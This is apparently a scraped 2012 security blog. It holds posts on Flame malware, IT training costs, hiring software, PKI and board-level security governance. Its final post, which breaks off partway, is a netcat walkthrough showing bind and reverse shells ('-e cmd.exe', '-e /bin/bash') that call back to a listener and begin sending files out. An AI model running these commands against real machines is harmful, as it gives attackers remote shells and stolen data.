CVE-2012-0056 Cyber Espionage cyber terrorism d4rkb1t Dalnet Damn Vulnerable Web App database database takeover DDoS Debian decode files DECWindows defaced website defcon developers Digital Command directory traversal DMZ network dumping in sqlmap DVWA dvwa tutorial easter easter egg electronic traffic signs hacked encode files encryption algorithms essays eval exec exploit exploit/multi/handler Extasyy Elite ezines F-Secure FBT feedback fern wifi cracker file fuzzer File Inlcusion Filipino filipino hackers Filsat filter evasion FINGER command fix wps Forensic Analysis forensics forms-caching FOSS free channels free shell account FTA games GCC Gerix gma hacked gma news hacking incident Google Chrome grep h4xor bbq hacked sites h

SANS may be pricing themselves out of the market.

SANS provides IT education at a ridiculously high price. They may just be pricing themselves out of the market. There are more and more very good quality sources at reasonable prices coming online and expect many more to start-up. One I have discovered recently is Mile2. The video training is the best I have ever seen and the instruction is excellent. Prices are very reasonable. www.mile2.com In February 2002, Mile2 was established in response to the critical need for an international team of IT security training experts to mitigate threats against national and corporate security far beyond USA borders in the aftermath of 9/11.

HR is broken

In an essay in this newspaper last fall, Peter Cappelli, a professor of management and human resources at the University of Pennsylvania's Wharton School, challenged the oft-heard complaint from employers that they can't find good workers with the right skills. "The real culprits are the employers themselves," he asserted. "It is part of a long-term trend," he adds in an interview, "and the recession caused employers to be able to be pickier, to get even more specific in the skills they think they can find outside the company and to cut back on training." Not surprisingly, his essay drew a lot of response. What did surprise Mr. Cappelli—as he describes in a book, "Why Good People Can't Get Jobs," to be published in June—was the frequency of complaints about the hiring process itself, particularly the now-ubiquitous use of software to screen applicants. A Philadelphia-area human-resources executive told Mr. Cappelli that he applied anonymously for a job in his own company as an experiment. He didn't make it through the screening process. Therein lies a problem. The job market is more than a professional concern for Mr. Cappelli. His son, now 25 years old, graduated in 2010 with a degree in classics from St. John's College and couldn't find a job. Told that health care was hiring, he enrolled at New Orleans's Delgado Community College and got a certificate in phlebotomy, learning how to draw patients' blood. However, he discovered that work experience was essential to land a job. Also, many potential employers were consolidating two medical-related occupations into one, so a phlebotomy certificate alone wasn't enough. He is still looking. For the entire U.S. economy, a lot rides on correctly diagnosing today's job market. If the chief problem is one of too many workers and not enough jobs, then today's unemployment is treatable and there's a case for more fiscal and monetary policy to stimulate demand, or at least for deferring fiscal austerity. But if the problem is chiefly a mismatch between skills employers need and those the jobless have, then more fiscal and monetary medicine won't do much good. That kind of unemployment is treatable only in the long run—with better education and training. Mr. Cappelli leans toward the first view but argues that there's more to this. "For every story about an employer who can't find qualified applicants, there's a counterbalancing tale about an employer with ridiculous hiring requirements," he says. In many companies, software has replaced recruiters, he writes, so "applicants rarely talk to anyone, even by email, during the hiring process." As in other parts of the economy, software has its benefits. It makes applying for a job easier. One doesn't have to trudge down to the HR office to fill out forms. It has broadened the pool of applicants from which employers can choose. It saves money. But at a time of widespread unemployment, the volume of applications is swamping HR departments, many of which have been downsized to cut costs. That has led employers to further automate hiring—and to become incredibly specific about experience and skills they seek. Screening software weeds out anyone whose application lacks particular key words. With so much talent looking for work, why not get what you really need? Here's why: Managers pile up so many requirements that they make it nearly impossible to find anyone who fits. Neal Grunstra, president of Mindbank Consulting Group, a temporary-staffing company, calls this "looking for a unicorn." Mr. Cappelli's favorite email came from a company that drew 25,000 applicants for a standard engineering position only to have the HR department say not one was qualified. One job seeker said "he had been told he was perfect for a given position—except for the fact that his previous job title didn't match that of the vacancy," a title unique to the prospective employer. As anyone who has applied for a job lately knows, the trick is parroting all the words in the job description but not just copying and pasting the text, which leads the software to discard the application. It's a whole new skill: Clearing the software hurdle is as important as being able to do the job. Much of what is broken in the U.S. job market will take a lot of work and time to fix. The current approach to training needs repair, for instance. But some fixes are easier. Employers could, as Mr. Cappelli puts it, "back off the strict requirement that applicants need to have previously done precisely the tasks needed for the vacant job" and "see if they could do the same with some training or ramp-up time." And employers could insist that vendors redo the software so it isn't so picky and flags for personal consideration—rather than discards—an applicant who doesn't quite fit the specifics but might be able to do the job. Write to David Wessel at capital@wsj.com A version of this article appeared May 31, 2012, on page A2 in the U.S. edition of The Wall Street Journal, with the headline: Software Raises Bar for Hiring.

Moral Hazard of Flame

Moral Hazard of Flame & Stuxnet It is becoming increasing apparent that the U.S. Government is behind both Flame and Stuxnet. The poor quality of the latter notwithstanding, the complexity and sophistication of the attacks are not in doubt. Deployment and infiltration techniques require human involvement and impressive technical resources (paid for with tax dollars). Consider the scenario that an 18-year old in a coffee shop or a "cyber-business man" creates a virus, worm or other form of enhanced malware. He then distributes it hundreds or thousands of computers for the purposes of causing damage to someone with whom he does not agree or perhaps to make money. Just as one will text message something that they would never say in person, the attackers feel there is something acceptable about carrying out a form of violence through electronic means. These individuals would be called cyber criminals in most countries. They would be subject to arrest and prosecution using the evidence obtained. As security professionals we are angered, frustrated and concerned about the potential for this to happen to our own organization we are paid to protect. When a government does the same thing to another government, there is a sense that this is acceptable. If the government does this to another government, it is okay, The government is on our side. Stuxnet targeted Iranian fuel enrichment. It caused physical destruction of the infrastructure. Somehow many people seem to feel it is justified and event commendable. But the bigger picture is not discussed. This behavior creates a strategic cyber security threat to all of us. Once this Pandora's box is open, the U.S. is a target for retaliatory attacks. We may say that it is a bad thing but that is only because it is happening to us. Private infrastructure must be a legitimate target because it serves the needs of our government. Furthermore, these attacks may reasonably be considered an act of war. A weapon such as Stuxnet or Flame was used to cause physical and technological damage and steal confidential information. If this is an act of war, retaliation may amount to a missile strike against a U.S. target. After all, not everyone will send a text message when they can speak to you in person. More relevant to security professionals around the world, your private infrastructure may be the target of a cyber or even physical attack. Whatever the reason for the attack, it is our responsibility to discourage this behavior. But we cannot discourage this if we condone or fail to reject this behavior from our own government. In a sense, the U.S. Government may become the single biggest threat to the cyber security of private enterprise. Posted by Park Foreman, CISSP, ISSAP, CEH, CHFI, GIAC 27000 at 7:52 PM 0 comments:

FLAME?

What is all the talk about "Flame"? "Flame". I cannot understand this. There is so much need for people in the IT security community to just understand some basic concepts of IT security. Just like all sports, baseball, football sometimes needs to revisit "back to basics" I think this is what IT security needs to do. Why cannot people contribute "back to basics" IT security learning rather than take time doing articles on an "outlier" rare thing like "Flame". Why the interest in "Flame"? Are IT security managers so egotistical or paranoid that they think that "Flame" is meant for them and their organization?. "Flame" is a very specific targeted malware aimed at Iran much like Stuxnet. It is much ado about nothing. IT is time to get back to thinking about the "basics" of the boring day to day "security in-depth" measures that we get paid to do. 99.9% of IT security people are not going to understand what Flame is about and 99.9% of businesses will not have any negative effects from Flame. So everyone get back to work, working on what you can control.

Intrusion Deception: The 'Tar Trap' Approach to Web Application Security

eSecurityPlanet > Network Security > Intrusion Deception: The 'Tar Trap' Approach to Web Application Security Introducing Microsoft Office 365: Start Collaborating in the cloud for $10 per user per month. Begin your free trial Sponsored Intrusion Deception: The 'Tar Trap' Approach to Web Application Security Juniper's Mykonos Software goes on the offense with a novel approach against brute force authentication and directory traversal attacks. By Sean Michael Kerner | June 01, 2012 Share The deception of one's enemies is a time-tested strategy that dates back to Sun Tzu's The Art of War. Applied to the context of web application security, "intrusion deception" software tricks hackers into thinking they are about to hit the jackpot -- when in fact they've simply been lured into a tar trap whose real purpose is to detect and disable their attack. Mykonos Software's Web Intrusion Prevention System works by inserting bogus server files, forms, and URLs into web applications. Deployed in front of any website or web application, the software inserts the tar traps at serve time and never actually touches the application server. Normal users never see the traps, which can only be found by malicious hackers. The company claims that its technology can detect hackers with absolute certainty and zero false positives during the reconnaissance phase of the attack. In a new release of Mykonos, the software is now going a step further with a series of new protections that make it even more difficult and time-consuming for attackers to go after two common attack vectors: directory traversal and brute-force authentication. The new release is the first since Mykonos was acquired by Juniper in February 2012 for $80 million in cash. Directory Traversal? Check Out These Bogus Files In a directory traversal attack, hackers run automated tools against a site -- trying to spider it and get a map of all the hidden files and directories that are present. The risk with this type of attack is that files that are normally not exposed can be discovered and mined for sensitive information such as passwords and configuration settings. Kyle Adams, Chief Architect of Mykonos told eSecurity Planet that the risk of directory traversal is not something that a Google search would typically uncover. Adams explained that in a directory traversal attack, attackers have a list of common files names that are searched for with a custom tool. These are files that are not linked anywhere else in the site and could include items that are not intended for public disclosure. "What we're doing is identifying people that are probing for random files that don't exist," Adams said. "Once we identify the attacker, then the Mykonos system responds back that the files do exist." Since the tool is recursive, it would send the attacker on a feedback loop that could last forever. So if the attacker is looking for an admin file they will find a bogus file created by Mykonos that goes nowhere. "Google will only spider resources that are referenced from the site," Adams said. "Google will not say there is a readme file if it's not referenced anywhere, whereas that hacker tool will pick that file up." Legitimate searchers are not likely to be requesting a large number of files that don't exist, which limits the risk of blocking real users. The Mykonos system identifies the malicious directory traversal attempt based on the number of attempts. Brute Force? Your Inputs Have Been Changed The other improvement to the Mykonos system is with new brute-force authentication protection. In a brute-force attack, the attacker tries to gain unauthorized use to a system or application by trying out myriad passwords until one works. The traditional way that security systems have dealt with brute-force attacks is by blocking IP addresses based on the number of bad password entries. The Mykonos approach is a bit more devious and is designed to confuse the attacker and waste their time and resources. The Mykonos system looks for failed logins to specific accounts. For example, if someone tries to login as Joe Smith five times and provides the wrong password, the system will serve up a CAPTCHA. The CAPTCHA is the first step and then if the attacker figures out how to get around the CAPTCHA, Mykonos has a layer of defensive deception. "At a certain point, when we see that a particular user has failed to login a certain number of times, we say that from that point forward, for anyone that tries to login to that particular user, we'll mess up the password," Adams said. So if the attacker attempts to login to the Joe Smith account with the password Joe123, the Mykonos system will actually change the input to be something else. As a result, when the attacker submits a password, it will come back as invalid, even if they submitted the correct password. "So someone that is doing a brute force attack, they will have to test every possible combination of passwords and even if they guess it correctly the response will come back as invalid," Adams said. "That's pretty effective against brute force attacks." WAF Signatures While the Myknos system is not technically defined as a Web Application Firewall (WAF), the new release now supports WAF signatures as well. Adams noted that Mykonos now support the open source mod_security WAF ruleset. With the mod_security rules, Mykonos will also be able to block known web application threats. Moving forward, the Mykonos software is still in the process of being integrated into Juniper's larger overall portfolio of solutions. Adams noted that they are still figuring out the different API and integration points. Sean Michael Kerner is a senior editor at eSecurity Planet and InternetNews.com, the news service of the IT Business Edge Network. Follow him on Twitter: @TechJournalist. Ease into NoSQL, making Big Data work. Learn more

Flame

The Flame: Questions and Answers

Aleks
Kaspersky Lab Expert
Posted May 28, 13:00  GMT
Tags: Targeted Attacks, Flame, Cyber weapon, Cyber espionage

1.1

 

Duqu and Stuxnet raised the stakes in the cyber battles being fought in the Middle East – but now we’ve found what might be the most sophisticated cyber weapon yet unleashed. The ‘Flame’ cyber espionage worm came to the attention of our experts at Kaspersky Lab after the UN’s International Telecommunication Union came to us for help in finding an unknown piece of malware which was deleting sensitive information across the Middle East. While searching for that code – nicknamed Wiper – we discovered a new malware codenamed Worm.Win32.Flame.
Flame shares many characteristics with notorious cyber weapons Duqu and Stuxnet: while its features are different, the geography and careful targeting of attacks coupled with the usage of specific software vulnerabilities seems to put it alongside those familiar ‘super-weapons’ currently deployed in the Middle East by unknown perpetrators. Flame can easily be described as one of the most complex threats ever discovered. It’s big and incredibly sophisticated. It pretty much redefines the notion of cyberwar and cyberespionage.
For the full low-down on this advanced threat, read on…

General Questions

What exactly is Flame? A worm? A backdoor? What does it do?
Flame is a sophisticated attack toolkit, which is a lot more complex than Duqu. It is a backdoor, a Trojan, and it has worm-like features, allowing it to replicate in a local network and on removable media if it is commanded so by its master.
The initial point of entry of Flame is unknown - we suspect it is deployed through targeted attacks; however, we haven’t seen the original vector of how it spreads. We have some suspicions about possible use of the MS10-033 vulnerability, but we cannot confirm this now.
Once a system is infected, Flame begins a complex set of operations, including sniffing the network traffic, taking screenshots, recording audio conversations, intercepting the keyboard, and so on. All this data is available to the operators through the link to Flame’s command-and-control servers.
Later, the operators can choose to upload further modules, which expand Flame’s functionality. There are about 20 modules in total and the purpose of most of them is still being investigated.
How sophisticated is Flame?
First of all, Flame is a huge package of modules comprising almost 20 MB in size when fully deployed. Because of this, it is an extremely difficult piece of malware to analyze. The reason why Flame is so big is because it includes many different libraries, such as for compression (zlib, libbz2, ppmd) and database manipulation (sqlite3), together with a Lua virtual machine.
Lua is a scripting (programming) language, which can very easily be extended and interfaced with C code. Many parts of Flame have high order logic written in Lua - with effective attack subroutines and libraries compiled from C++.
The effective Lua code part is rather small compared to the overall code. Our estimation of development ‘cost’ in Lua is over 3000 lines of code, which for an average developer should take about a month to create and debug.

Also, there are internally used local databases with nested SQL queries, multiple methods of encryption, various compression algorithms, usage of Windows Management Instrumentation scripting, batch scripting and more.
Running and debugging the malware is also not trivial as it’s not a conventional executable application, but several DLL files that are loaded on system boot.
Overall, we can say Flame is one of the most complex threats ever discovered.
How is this different to or more sophisticated than any other backdoor Trojan? Does it do specific things that are new? First of all, usage of Lua in malware is uncommon. The same goes for the rather large size of this attack toolkit. Generally, modern malware is small and written in really compact programming languages, which make it easy to hide. The practice of concealment through large amounts of code is one of the specific new features in Flame. The recording of audio data from the internal microphone is also rather new. Of course, other malware exists which can record audio, but key here is Flame’s completeness - the ability to steal data in so many different ways.
Another curious feature of Flame is its use of Bluetooth devices. When Bluetooth is available and the corresponding option is turned on in the configuration block, it collects information about discoverable devices near the infected machine. Depending on the configuration, it can also turn the infected machine into a beacon, and make it discoverable via Bluetooth and provide general information about the malware status encoded in the device information.
What are the notable info-stealing features of Flame?
Although we are still analyzing the different modules, Flame appears to be able to record audio via the microphone, if one is present. It stores recorded audio in compressed format, which it does through the use of a public-source library.
Recorded data is sent to the C&C through a covert SSL channel, on a regular schedule. We are still analyzing this; more information will be available on our website soon.
The malware has the ability to regularly take screenshots; what’s more, it takes screenshots when certain “interesting” applications are run, for instance, IM’s. Screenshots are stored in compressed format and are regularly sent to the C&C server - just like the audio recordings.
We are still analyzing this component and will post more information when it becomes available. When was Flame created?
The creators of Flame specially changed the dates of creation of the files in order that any investigators couldn’t establish the truth re time of creation. The files are dated 1992, 1994, 1995 and so on, but it’s clear that these are false dates.
We consider that in the main the Flame project was created no earlier than in 2010, but is still undergoing active development to date. Its creators are constantly introducing changes into different modules, while continuing to use the same architecture and file names. A number of modules were either created of changed in 2011 and 2012.
According to our own data, we see use of Flame in August 2010. What’s more, based on collateral data, we can be sure that Flame was out in the wild as early as in February to March 2010. It’s possible that before then there existed earlier version, but we don’t have data to confirm this; however, the likelihood is extremely high.
Why is it called Flame? What is the origin of its name?
The Flame malware is a large attack toolkit made up of multiple modules. One of the main modules was named Flame - it’s the module responsible for attacking and infecting additional machines.

Is this a nation-state sponsored attack or is it being carried out by another group such as cyber criminals or hacktivisits?
Currently there are three known classes of players who develop malware and spyware: hacktivists, cybercriminals and nation states. Flame is not designed to steal money from bank accounts. It is also different from rather simple hack tools and malware used by the hacktivists. So by excluding cybercriminals and hacktivists, we come to conclusion that it most likely belongs to the third group. In addition, the geography of the targets (certain states are in the Middle East) and also the complexity of the threat leaves no doubt about it being a nation state that sponsored the research that went into it.
Who is responsible?
There is no information in the code or otherwise that can tie Flame to any specific nation state. So, just like with Stuxnet and Duqu, its authors remain unknown.
Why are they doing it?
To systematically collect information on the operations of certain nation states in the Middle East, including Iran, Lebanon, Syria, Israel and so on. Here’s a map of the top 7 affected countries:

Is Flame targeted at specific organizations, with the goal of collecting specific information that could be used for future attacks? What type of data and information are the attackers looking for?
From the initial analysis, it looks like the creators of Flame are simply looking for any kind of intelligence - e-mails, documents, messages, discussions inside sensitive locations, pretty much everything. We have not seen any specific signs indicating a particular target such as the energy industry - making us believe it’s a complete attack toolkit designed for general cyber-espionage purposes.
Of course, like we have seen in the past, such highly flexible malware can be used to deploy specific attack modules, which can target SCADA devices, ICS, critical infrastructure and so on.
What industries or organizations is Flame targeting? Are they industrial control facilities/PLC/SCADA? Who are the targets and how many?
There doesn’t seem to be any visible pattern re the kind of organizations targeted by Flame. Victims range from individuals to certain state-related organizations or educational institutions. Of course, collecting information on the victims is difficult because of strict personal data collecting policies designed to protect the identity of our users.
Based on your analysis, is this just one variation of Flame and there are others?
Based on the intelligence received from the Kaspersky Security Network, we are seeing multiple versions of the malware being in the wild - with different sizes and content. Of course, assuming the malware has been in development for a couple of years, it is expected that many different versions will be seen in the wild.
Additionally, Flame consists of many different plug-ins – up to 20 – which have different specific roles. A specific infection with Flame might have a set of seven plugins, while another infection might have 15. It all depends on the kind of information that is sought from the victim, and how long the system was infected with Flame.
Is the main C&C server still active? Is there more than one primary C&C server? What happens when an infected machine contacts the C&C server?
Several C&C servers exist, scattered around the world. We have counted about a dozen different C&C domains, run on several different servers. There could also be other related domains, which could possibly bring the total to around 80 different domains being used by the malware to contact the C&C. Because of this, it is really difficult to track usage of deployment of C&C servers.
Was this made by the Duqu/Stuxnet group? Does it share similar source code or have other things in common?
In size, Flame is about 20 times larger than Stuxnet, comprising many different attack and cyber-espionage features. Flame has no major similarities with Stuxnet/Duqu.
For instance, when Duqu was discovered, it was evident to any competent researcher that it was created by the same people who created Stuxnet on the “Tilded” platform.
Flame appears to be a project that ran in parallel with Stuxnet/Duqu, not using the Tilded platform. There are however some links which could indicate that the creators of Flame had access to technology used in the Stuxnet project - such as use of the “autorun.inf” infection method, together with exploitation of the same print spooler vulnerability used by Stuxnet, indicating that perhaps the authors of Flame had access to the same exploits as Stuxnet’s authors.
On the other hand, we can’t exclude that the current variants of Flame were developed after the discovery of Stuxnet. It’s possible that the authors of Flame used public information about the distribution methods of Stuxnet and put it to work in Flame.
In summary, Flame and Stuxnet/Duqu were probably developed by two separate groups. We would position Flame as a project running parallel to Stuxnet and Duqu.
You say this was active since March 2010. That is close to the time when Stuxnet was discovered. Was this being used in tandem with Stuxnet? It is interesting they both exploit the printer-spooler vulnerability.
One of the best pieces of advice in any kind of operation is not to put all your eggs in one basket. Knowing that sooner or later Stuxnet and Duqu would be discovered, it would make sense to produce other similar projects - but based on a completely different philosophy. This way, if one of the research projects is discovered, the other one can continue unhindered.
Hence, we believe Flame to be a parallel project, created as a fallback in case some other project is discovered.
In your analysis of Duqu you mentioned “cousins” of Duqu, or other forms of malware that could exist. Is this one of them?
Definitely not. The “cousins” of Duqu were based on the Tilded platform, also used for Stuxnet. Flame does not use the Tilded platform.
This sounds like an info-stealing tool, similar to Duqu. Do you see this as part of an intelligence-gathering operation to make a bigger cyber-sabotage weapon, similar to Stuxnet?
The intelligence gathering operation behind Duqu was rather small-scale and focused. We believe there were less than 50 targets worldwide for Duqu - all of them, super-high profile.
Flame appears to be much, much more widespread than Duqu, with probably thousands of victims worldwide.
The targets are also of a much wider scope, including academia, private companies, specific individuals and so on. According to our observations, the operators of Flame artificially support the quantity of infected systems on a certain constant level. This can be compared with a sequential processing of fields – they infect several dozen, then conduct analysis of the data of the victim, uninstall Flame from the systems that aren’t interesting, leaving the most important ones in place. After which they start a new series of infections.
What is Wiper and does it have any relation to Flame? How is it destructive and was it located in the same countries?
The Wiper malware, which was reported on by several media outlets, remains unknown. While Flame was discovered during the investigation of a number of Wiper attacks, there is no information currently that ties Flame to the Wiper attacks. Of course, given the complexity of Flame, a data wiping plugin could easily be deployed at any time; however, we haven’t seen any evidence of this so far.
Additionally, systems which have been affected by the Wiper malware are completely unrecoverable - the extent of damage is so high that absolutely nothing remains that can be used to trace the attack.
There is information about Wiper incidents only in Iran. Flame was found by us in different countries of the region, not only Iran.

Functionality/Feature Questions about the Flame Malware

What are the ways it infects computers? USB Sticks? Was it exploiting vulnerabilities other than the print-spooler to bypass detection? Any 0-Days?
Flame appears to have two modules designed for infecting USB sticks, called “Autorun Infector” and “Euphoria”. We haven’t seen them in action yet, maybe due to the fact that Flame appears to be disabled in the configuration data. Nevertheless, the ability to infect USB sticks exists in the code, and it’s using two methods:

1. Autorun Infector: the “Autorun.inf” method from early Stuxnet, using the “shell32.dll” “trick”. What’s key here is that the specific method was used only in Stuxnet and was not found in any other malware since.
2. Euphoria: spread on media using a “junction point” directory that contains malware modules and an LNK file that trigger the infection when this directory is opened. Our samples contained the names of the files but did not contain the LNK itself.

In addition to these, Flame has the ability to replicate through local networks. It does so using the following:

1. The printer vulnerability MS10-061 exploited by Stuxnet - using a special MOF file, executed on the attacked system using WMI.
2. Remote jobs tasks.
3. When Flame is executed by a user who has administrative rights to the domain controller, it is also able to attack other machines in the network: it creates backdoor user accounts with a pre-defined password that is then used to copy itself to these machines.

At the moment, we haven’t seen use of any 0-days; however, the worm is known to have infected fully-patched Windows 7 systems through the network, which might indicate the presence of a high risk 0-day.
Can it self-replicate like Stuxnet, or is it done in a more controlled form of spreading, similar to Duqu?
The replication part appears to be operator commanded, like Duqu, and also controlled with the bot configuration file. Most infection routines have counters of executed attacks and are limited to a specific number of allowed attacks.
Why is the program several MBs of code? What functionality does it have that could make it so much larger than Stuxnet? How come it wasn’t detected if it was that big?
The large size of the malware is precisely why it wasn’t discovered for so long. In general, today’s malware is small and focused. It’s easier to hide a small file than a larger module. Additionally, over unreliable networks, downloading 100K has a much higher chance of being successful than downloading 6MB.
Flame’s modules together account for over 20MB. Much of these are libraries designed to handle SSL traffic, SSH connections, sniffing, attack, interception of communications and so on. Consider this: it took us several months to analyze the 500K code of Stuxnet. It will probably take year to fully understand the 20MB of code of Flame.
Does Flame have a built-in Time-of-Death like Duqu or Stuxnet ?
There are many different timers built-in into Flame. They monitor the success of connections to the C&C, the frequency of certain data stealing operations, the number of successful attacks and so on. Although there is no suicide timer in the malware, the controllers have the ability to send a specific malware removal module (named “browse32”), which completely uninstalls the malware from a system, removing every single trace of its presence.
What about JPEGs or screen-shots? Is it stealing those too?
The malware has the ability to regularly take screenshots. What’s more, it takes screenshots when certain “interesting” applications are run, for instance, IM’s. Screenshots are stored in compressed format and are regularly sent to the C&C server, just like the audio recordings.
We are still analyzing this component and will post more information when it becomes available.
We will share a full list of the files and traces for technical people in a series of blog posts on Securelist during the next weeks.
What should I do if I find an infection and am willing to contribute to your research by providing malware samples?
We would greatly appreciate it if you could contact us by e-mail at the previously created mailbox for Stuxnet/Duqu research: stopduqu@kaspersky.com.
Update 1 (28-May-2012): According to our analysis, the Flame malware is the same as “SkyWiper”, described by the CrySyS Lab and by Iran Maher CERT group where it is called “Flamer”.

Organizations Still not Taking IT security seriously

How Are Organizations Still Not Taking Cyber Security Seriously?

How is it that in this day and age senior leaders are still clueless about the significance of Cyber security? In a Cylab 2012 report performed by Carnegie Mellon they found that organizational leaders are inept at protecting and safeguarding critical assets against those who wish to exploit these vulnerabilities which is particularly true of the industries that make up the majority of our critical infrastructure such as industrial, financial and utility firms which comprised of 75 percent of the survey. We have emphasized how crucial it is for organizations to incorporate the appropriate governance and risk management approaches that are essential to the viability and protection of society at large in today's day and age. For example ISACA is one organization that gives you access to critical information you need to succeed and add value via its talented global community of IT audit, information security and IT governance professionals as well as approaches such as making use of Cobit5. In getting back to the survey researched whether senior leadership were taking initiatives such as reviewing privacy and security budgets and top-level policies, establishing key roles and responsibilities for privacy and security, reviewing security program assessments and if leaders were being provided information imperative to the management of cyber risks, such as regular reports on breaches and the loss of data. Standards, policies and procedures such as those provided by ISO27000 or ISO13335 could easily be used as a guide and approach for organizations to utilize however that appears not to be the case. The industry that was the worst culprit was the utility sector. That is scary especially in light of how this industry is responsible for a great deal of our infrastructure. 71% of their boards rarely or never review privacy and security budgets; 79% of their boards rarely or never review roles and responsibilities; 64% of their boards rarely or never review top-level policies; and 57% of their boards rarely or never review security program assessments. The utility industry also lacked the least amount of IT Security Committees at the board level and placed the least value on IT experience when recruiting board member and the industrial's were not far behind.  Although the survey did state that the financial sector had the best security practices it still had several gaps in security governance.  For example, 52% of the financial sector respondents said that their boards do not review cyber insurance coverage and only 44% of them actively address computer and information security.  It was also shown that 42% of the financial sector's boards rarely or never review annual privacy and security budgets and 39% rarely or never review roles and responsibilities.  It must be noted that the financial sector did in fact have one of the highest percentages of CISOs and CSOs who are responsible for both privacy, security and segregation of duties. This is pretty scary when one really begins to think about it. Lets hope these boards begin to start implementing the appropriate countermeasures by taking a more proactive approach in the area of IT security instead of waiting to be reactive to something that can cause a catastrophic event beyond our wildest dreams!

Why 2012 is the year of Public Key Infrastructure

Why 2012 is the year of Public Key Infrastructure

May 12th, 2012 - Posted by: Calum MaCleod

Comodo, Sony, RSA Security and why it isn’t over for PKI

The IT security world has been shaken by a series of breaches that some say spells the death of Public Key Infrastructure (PKI) technology.
Comodo, Sony, RSA Security and other breaches have seen established and trusted organisations fall from grace as they became victims of hacking. With Comodo and StartSSL in particular the resultant outcry has focused on the future of PKI.

I don’t accept, as some say, that PKI is dead or dying. Of course, working for a PKI vendor, you could argue I have to say that.
Nevertheless, I believe PKI is the best we’ve got. It will not be replaced any time soon – to argue otherwise is a waste of energy. In fact, I actually think that 2012 is the year of PKI.
Rather than rehash the various hacks and what went wrong, I’d like to focus on the critical role certificates and PKI play in securing data and authenticating systems across all types of organisations. And think of all the systems that now leverage PKI, including the traditional IT data centre infrastructure, public and private clouds, and an exploding number of mobile devices that require authentication, to name just a few.

Within a PKI, a certificate authority assigns each system or user a unique identity – a digital certificate – that allows the certificate holder to work within the protected environment. This allows organisations to let customers, partners, and employees authenticate to systems and users. I would argue, perhaps controversially, that PKI delivers a virtually seamless experience for users while providing trusted security.
And it is the word trusted that many of you will scoff at.

How can they be trusted?

To pretend that they’re infallible is churlish. Instead, what needs to be recognised is that the world we live in is imperfect and, a bit like a car, we need more than one security feature if we’re to prevent ourselves flying through the windscreen.
Let’s use the car analogy to illustrate the point. Cars have brakes to stop them in an emergency. Yet, all too often, there are accidents. Has anyone pointed the finger at the braking system and declared it dead? Of course not. Instead, the designers have worked tirelessly to improve the overall safety of vehicles, installing impact bars and roll cages, seatbelts, and an airbag just to make sure. An organisation’s security should be approached in much the same way.
To do this, we need to first understand the challenges faced. Depending on the IT environment where keys and certificates are being deployed, some or all of these risks may apply:

• Certificates that are not renewed and replaced before they expire can cause serious unplanned downtime and costly outages
• Private keys used with certificates must be kept secure or unauthorised individuals can intercept confidential communications or gain unauthorised access to critical systems
• Regulations and requirements (like PCI-DSS) require much more stringent security and management of cryptographic keys, and auditors are increasingly reviewing the management controls and processes in use
• The average certificate and private key require four hours per year to manage, taking administrators away from more important tasks and cost hundreds of thousands of dollars per year for many organisations
• If a certificate authority (CA) is compromised or an encryption algorithm is broken, organisations must be prepared to replace all of their certificates and keys in a matter of hours
• The rollout of new projects and business applications are hindered because of the inability to deploy and manage encryption to support the security requirements of those projects

Manage certificates properly

As this highlights, certificate and encryption or private key management can be complicated. The fact that there are typically several people involved in the management of certificates and private keys makes the probability of error even higher.
By clearly defining roles and responsibilities so that everybody knows what they’re responsible for can significantly decrease the likelihood of failure and make it easier to work out how to improve processes when something does go wrong. In some areas, system administrators will manually enroll for and install certificates. In others, a central system may be used for automated installation.
The last thing you want as an organisation is to be running around trying to figure out who is responsible for a key or certificate when an issue arises. Compile a list of responsible groups and/or individuals for each key and certificate in your inventory and develop a method for keeping the information current.

Prepare for it

If you act on the principle that you’re going to be hacked – it’s just a matter of time – then at least you’ll be prepared should happens.
Just like brakes in a car, encrypt everything. Ensure that your encryption systems provide the security they are designed to deliver while simultaneously reducing operational risk and administrative workload. Finally, know where everything is.
PKI and SLL are sensible platforms for certificate management. Abolishing them and putting something else in their place is not feasible – the vehicle already exists and it is not going away anytime soon. Instead, organisations need to recognise the challenge of using them and decide how they’re going to handle the coming explosion in certificates.

control – netcat

control – netcat

Netcat 1.10
===========                                                        /\_/\       
                                                                  / 0 0 \      
Netcat is a simple Unix utility which reads and writes data      ====v====     
across network connections, using TCP or UDP protocol.            \  W  /      
It is designed to be a reliable "back-end" tool that can          |     |     _
be used directly or easily driven by other programs and           / ___ \    / 
scripts.  At the same time, it is a feature-rich network         / /   \ \  |  
debugging and exploration tool, since it can create almost      (((-----)))-'  
any kind of connection you would need and has several            /             
interesting built-in capabilities.  Netcat, or "nc" as the      (      ___     
actual program is named, should have been supplied long ago      \__.=|___E    
as another one of those cryptic but standard Unix tools.      

Windows 
C:\Documents and Settings\host\Desktop>nc -lvvp 4444 -e cmd.exe

Linux
root@bt:~# nc -v 192.168.1.2 4444
10.255.245.136: inverse host lookup failed: Unknown server error : 
Connection timed out
(UNKNOWN) [192.168.1.2] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\host\Desktop>

------------------------------------------------------------

Windows

C:\Documents and Settings\host\Desktop>nc -lvvp 4444
listening on [any] 4444 ...

Linux

root@bt:~# nc -v 192.168.1.4 4444 -e /bin/bash
10.255.245.136: inverse host lookup failed: Unknown server error : 
Connection timed out
(UNKNOWN) [192.168.1.4] 4444 (?) open

Back on windows type ifconfig

C:\Documents and Settings\host\Desktop>nc -lvvp 4444
listening on [any] 4444 ...
192.168.1.4: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.255.245.136] from (UNKNOWN) [192.168.1.4] 59987: NO_DATA

ifconfig
eth0      Link encap:Ethernet  HWaddr 00:01:02:03:04:05
          inet addr:192.168.1.4  Bcast:10.255.245.255  Mask:255.255.255.0

------------------------------------------------------------
to make a windows machine connect back to backtrack machine.

open terminal and type in nc -lvvp 80

root@bt:~# nc -lvvp 80
listening on [any] 80 ...

then on the windows machine typing the following will make it 
dial back to your machine.

ncat -v your-ip-address 80 -e cmd.exe

C:\Program Files\Nmap>ncat -v your-ip-address 80 -e cmd.exe
Ncat: Version 6.00 ( http://nmap.org/ncat )
Ncat: Connected to your-ip-address:80.

The Windows machine should now have connected to you 
you should be able to see this in the open window on your backtrack machine.
==============================================

Once connected you may want to send files back from the windows machine to backtrack

open a new Window in backtrack type in

ncat -v -lp 2223 > test-doc.txt

root@bt:~# ncat -v -lp 2223 > test-doc.txt
Ncat: Version 5.61TEST4 ( http://nmap.org/ncat )
Ncat: Listening on :::2223
Ncat: Listening on 0.0.0.0:2223

In the window that has the connection to the Windows machine 
move to the directory that has the file you want and type in 

